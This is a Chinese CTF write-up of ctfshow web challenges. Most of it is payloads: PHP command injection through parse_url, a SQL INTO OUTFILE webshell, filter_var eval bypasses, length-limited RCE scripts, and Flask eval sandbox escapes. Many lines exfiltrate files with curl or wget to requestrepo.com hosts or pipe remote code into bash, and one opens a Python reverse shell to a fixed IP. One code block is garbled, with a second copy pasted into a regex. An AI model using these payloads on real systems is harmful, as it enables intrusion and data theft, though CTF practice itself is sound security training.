$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);
parse_url
(PHP 4, PHP 5, PHP 7)
parse_url — 解析 URL,返回其组成部分
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
以上例程会输出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
所以我们发送
url = http://username:password@`ls`/var/www/html/1.txt?arg=value#anchor
或者构造闭合
http://1/1;echo `ls` > 2.txt
或者 curl 命令
url=http://1/1;curl -T fl0g.php l0vlfyxiw.requestrepo.com
url=http://1/1;curl --upload-file fl0g.php l0vfyxiw.requestrepo.com
curl -X POST -d 'flag=`cat fl0g.php`' l0vfyxiw.requestrepo.com
同上一题
preg_match('/;/', $url['host'])
正则匹配 url[‘host’] 的分号,但是我的 payload 分号都是在 $url[‘path’] 里的,所以继续用
又添加了对 url[‘host’] 的过滤,无所谓,照旧
还是添加了对 url[‘host’] 的过滤。。。。
照旧。
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}
对协议下手了,除了 http 互联网还有 file 等等协议。
url=file://1/1;curl -d "flag=`cat fl0g.php`" l0vfyxiw.requestrepo.com
或者直接把 http:// 去掉
url=1/1;curl -d "flag=`cat fl0g.php`" l0vfyxiw.requestrepo.com
这样 url 参数全都归给 $url[path] 了。
preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host']
多了一个正则匹配指定 ip
http://201.201.201.201/1;curl --upload-file fl0g.php l0vfyxiw.requestrepo.com
因为这道题是 404,所以故意做成无法访问的样子,f12 发现访问 404 .php
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}
增加了对 path 的过滤,但是相比于上一题 host 的 waf 少了 ^ 和 $,所以直接插在 $url[host] 里面就行了
http://201.201.201.201;curl -d "flag=`cat fl0g.php`" jha1kta2.requestrepo.com/1
preg_match('/\~|\.|php/', $url['scheme'])
再上一题的基础上规定了协议。http 改成 php 就行了
php://201.201.201.201;curl -d "flag=`cat fl0g.php`" l0vfyxiw.requestrepo.com/1
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}
没有输出结果,所以 outfile 带出
url=0://www.baidu.com;'union/**/select/**/1,(select/**/`flag`/**/from/**/`flag`)/**/into/**/outfile/**/"/var/www/html/1.txt"%23
参考了 Y4 师傅的 payload
require 'config.php';$sql ='select flag from flag into outfile "/var/www/html/1.txt"';$result = $conn->query($sql);var_dump($result); ?>
转为16进制
http://a53d40ee-9871-49a0-8f4a-5463bc97e052.chall.ctf.show/?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/4.php"%23
访问1.txt即可
ta 是先 用 outfile 写码到 php 文件( 至于为什么字符串到 php 里会被解析为 php 代码就不得而知了)
然后再访问 php 文件
PHP filter_var() 函数 | 菜鸟教程 (runoob.com)
PHP FILTER_SANITIZE_URL 过滤器 | 菜鸟教程 (runoob.com)
IPv6的128位地址通常写成8组,每组为四个十六进制数的形式。比如:AD80:0000:0000:0000:ABAA:0000:00C2:0002 是一个合法的IPv6地址。这个地址比较长,看起来不方便也不易于书写。零压缩法可以用来缩减其长度。如果几个连续段位的值都是0,那么这些0就可以简单的以::来表示
上面是 Y4 师傅说的。大佬说啥就是啥,听人劝吃饱饭
ip=cafe::add
PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程 (runoob.com)
**FILTER_VALIDATE_EMAIL **表示所有的特殊符号必须放在双引号中
也就是说我们可以把特殊字符用双引号包裹,不过有些字符在双引号里也被过滤了,要再加转义字符(比如说空格)
?email="=@eval($_POST[1])?>"@1.php
email=""@1.php
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
$email=preg_replace('/.flag/', '', $email);
eval($email);
}
本来我想这样
"system(ls);"@b.com
但是试了一下,eval好像不能执行这种
1="phpinfo;"
eval($_GET[1])
不过还好有个 replace
我们先把第一个双引号替换成空
"flagsystem(ls);"@b.com -> flagsystem(ls);"@b.com
然后把后面的闭合或者注释掉
flagsystem(ls);//"@b.com
flagsystem(ls);/*"@b.com
flagsystem(ls);?>"@b.com
完整 payload
email="flagsystem($_POST[1]);/*"@b.com
b=yes
PHP FILTER_VALIDATE_BOOLEANT 过滤器 | 菜鸟教程 (runoob.com)
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
die('FLAG NOT HERE');
}else{
echo $flag;
}
总之这个 bool 过滤忽略大小写,所以随便写
oN
Yes
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
FILE_APPEND |
如果文件 filename 已经存在,追加数据而不是覆盖。 |
---|---|
payload:
ctfshow=?>
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
ctfshow=*/ highlight_file(__FILE__); /*
ctfshow=-1
-1 开根 为 NAN ,不知道为啥这玩意 < 0
函数名、方法名、类名魔术常量不区分大小写
f=ctf::flag
不难,一步一步把最后 eval 改成 echo 输出来看就行了
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
变量覆盖
die=0&clear=;curl -X POST -d "flag=`tac flag.php`" l0vfyxiw.requestrepo.com
if(strlen($code) < 17){ eval($code); }
限定长度 < 17
code=echo `nl f*`;
$code = $_POST['code'];
if(strlen($code) < 8){
system($code);
}
nl 的做法就不提了,我们这次用一下新的方法,原理大家去看这篇文章
长度限制 RCE(持续更新中)-CSDN博客
from time import sleep
import requests
url = "http://174af6c8-8daf-497e-92a9-40ee80bb688f.challenge.ctf.show/"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
for i in f:
data={"code":i.strip()}
print(data)
requests.post(url,data=data)
sleep(1) # 设置延时,防止顺序被打乱
# 检查是否攻击成功
test = requests.get(url+"1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
payload.txt (echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php)
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
import requests
import time
payload = [
'>sh ',
'>ba\\',
'>\|\\',
'>3x\\',
'>41.\\',
'>7.\\',x
'>2x\\',
'>x.\\',
'>1x\\',
'>\ \\',
'>curl\\',
'ls -t>0',
'sh 0'
]
for i in payload:
data = {
'code': str(i)
}
r = requests.post('http://47f9eea5-5121-482d-b70d-1d768b511bbf.challenge.ctf.show/', data=data)
print(i)
time.sleep(1)
cat 0 看看
写是写进去了,但是没有弹成功,我怀疑这台机器没有装 curl 服务。
if(strlen($code) < 6){
system($code);
}
这里放一个五字符的脚本,四字符因为目录下有个 flag.php,所以有限制,大家可以自己实验
from time import sleep
import requests
url = "http://a6e09d53-da0b-404e-880d-48b82a0b3554.challenge.ctf.show/"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
for i in f:
data={"code":i.strip()}
print(data)
requests.post(url,data=data)
sleep(1)
# 检查是否攻击成功
test = requests.get(url+"1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
payload.txt
>l\\
>s\\
>\ \\
>-t\\
>\>0
ls>a
ls>>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh a
sh 0
然后访问 1.php?1=system(ls); 即可。
nl *
搜了一下报错是 flask ,但是不知道为什么注入一直报服务器 500 错误。搜题解不知道为什么师傅们直接给源码了。
from flask import Flask
from flask import request
import os
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
eval() 函数用来执行一个字符串表达式,并返回表达式的值。所以我们要传的 code 最后是字符串才行,这样才不会报错。直接 str 函数转一下。
code=str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read())
继续上一题 payload。
拿到 shell 发现原来是 os 不导入了,不过我们上一题没有直接用 os.system,所以可以接着写
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
if 'os' not in code:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
上一题的还能用,看一下原来是 os 被过滤了,那没事了。
接着用上一题的
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
但是为什么这里过滤了 popen 上一题的 payload 还能接着用呢
因为 reg.match
只会从开头找要匹配字符串
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system')
if reg.match(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
正则匹配又加了一个 system,不过一样的,还是 re.match 的问题。
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
正则匹配过滤了 read ,还是 re.match 的问题。
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
把 popen 换成 open 了,一样可用。
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval')
if reg.match(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
多过滤了个 eval 。一样的 payload 。
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|str')
if reg.match(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
把 str 过滤了,但是因为还是用的 reg.match 所以我们在 str 前加个空格
code= str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read())
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval')
if reg.search(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
match 改成 search 了,用不了 read 所以我选择带外了。
code=str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('curl -X POST -d "1=`cat app.py`" w93od0l8.requestrepo.com'))
from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|from flask import Flask
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|builtins')
if reg.search(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)')
if reg.search(code)==None:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
在上一题基础上多过滤了 builtins,payload 接着用就行了,这里我换成了自己的 vps
str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('curl -X GET -d "1=`cat /flag`" 8x.7x.xx.92:9000'))
curl 被过滤了,可以用 wget
str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('wget --header="evil: $(cat /flag | base64)" http://w93od0l8.requestrepo.com'))
然后把响应头 evil 字段拿去 base64 解码
这里我 sb 里,这是 python 完全可以字符拼接一个 curl 出来啊。
str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('cu'+'rl -X POST -d "1=`cat app.py`" w93od0l8.requestrepo.com'))
把下划线过滤了
说是用 exec ,exec 和 eval 差不多(都执行 python 代码),只是返回值永远为 none(没什么回显这点挺像 php 的 exec 的。),所以只能带外了或者反弹 shell 了。。
"import os;os.system('curl xxx.2x7.xxx.36|bash')"
有很多字符串被过滤了
str(exec(")'hsab|63.x4.7xx.3xx lruc'(metsys.so;so tropmi"[::-1]))
编码
str="import os;os.system('curl 1xx.2xx.41.xx|bash')"
# str 每个字符分别转为16进制,8进制,unicode
# 16进制
for i in str:
print(hex(ord(i)).replace('0x',r'\x'),end="")
print("\n")
# 8进制
for i in str:
print(oct(ord(i)).replace('0o','\\'),end="")
print("\n")
# unicode
for i in str:
print(hex(ord(i)).replace('0x',r'\u00'),end="")
“+” 拼接
str(exec("import o"+"s;o"+"s.sys"+"tem('cu'+'rl xxx.xx.x.xx|bash')"))
还有很多方法比如 ord 什么的。主要点就是得知道 exec 的作用
又过滤了个 getattr,一样的做法
if '\\u' in code:
return 'hacker?'
过滤了 unicode 编码
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')
过滤 ‘{’
if '\\x' in code:
return 'hacker?'
16 进制过滤了,接着用。
os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"
单引号双引号给过滤了,用 chr 代替
str1 = "import os;os.system('curl xxxxxx|bash')"
str2 = ""
arr = list(str1)
for i in arr[0:len(arr)-1]:
str2 += "chr("+str(ord(i))+")%2b"
str2 += "chr("+str(ord(arr[len(arr)-1]))+")"
print(str2)
paload:
code=str(exec(chr(105)....))
把 + 过滤了,不能拼接了
我一开始想的也是用 request.args 直接获取字符串
request.args.a&a=import。。。
但是不行啊,这种直接在模板中使用 request.args.a
的方式是 Flask 框架和 Jinja2 模板引擎提供的特殊语法,并不适用于原生的 Python 代码。在原生的 Python 代码中,你仍然需要使用 request.args.get('a')
来获取 GET 参数的值。
然后还要注意 ‘a’ 用 chr(97) 代替
所以 payload
code=str(exec(request.args.get(chr(97))))&a=import os;os.system('curl xxxx|bash')
这次把数字过滤了
str(int(False)) = 0
我的payload:
str(exec(request.args.get(str(int(False)))))&0=import os;os.system('curl xxxxx|bash')
y4 师傅的
exec(request.args.get(str(None)))&None=import os;os.system("curl http://xx.xx.xx.xx?1=`cat /flag`")
yu 师傅的
code=str(exec(request.args.get(request.method)))&GET=__import__('os').system('curl http://xxx:4567?p=`cat /f*`')
request 被过滤了。
globals
()
返回表示当前全局符号表的字典。这总是当前模块的字典(在函数或方法内部,这是定义它的模块,而不是调用它的模块)。
str(globals().keys()) 打印一下当前全局变量键名,可以看到 request 就在其中下标为 10的位置
globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]]
至此获取到 request 模块
get
0 = import os;os.system('curl xxxxx|bash')
post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(strstr(int(False)))))
增加了对 len 的过滤,继续用上面的。
给源码了,os 模块下的 system,popen 指望不上了
del os.system
del os.popen
还可以用 子进程管理模块: subprocess
0=import subprocess;subprocess.Popen('curl http://xxxxx|bash',shell=True) # shell = True 记得加,这代表在 shell 环境下解析语句
然后 post 包和上一题一样。
y4 师傅
reload重新加载模块
0 = 'from importlib import reload;import os;reload(os);os.system("curl http://xxxx?1=`cat /flag`")'
yu 师傅
get:0=import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.13.43",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
del imp.reload
删除 imp 库里的 reload 和我 importlib.reload 有甚么关系,继续用
删除了 subprocess 下很多函数
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
只能接着用 reload 了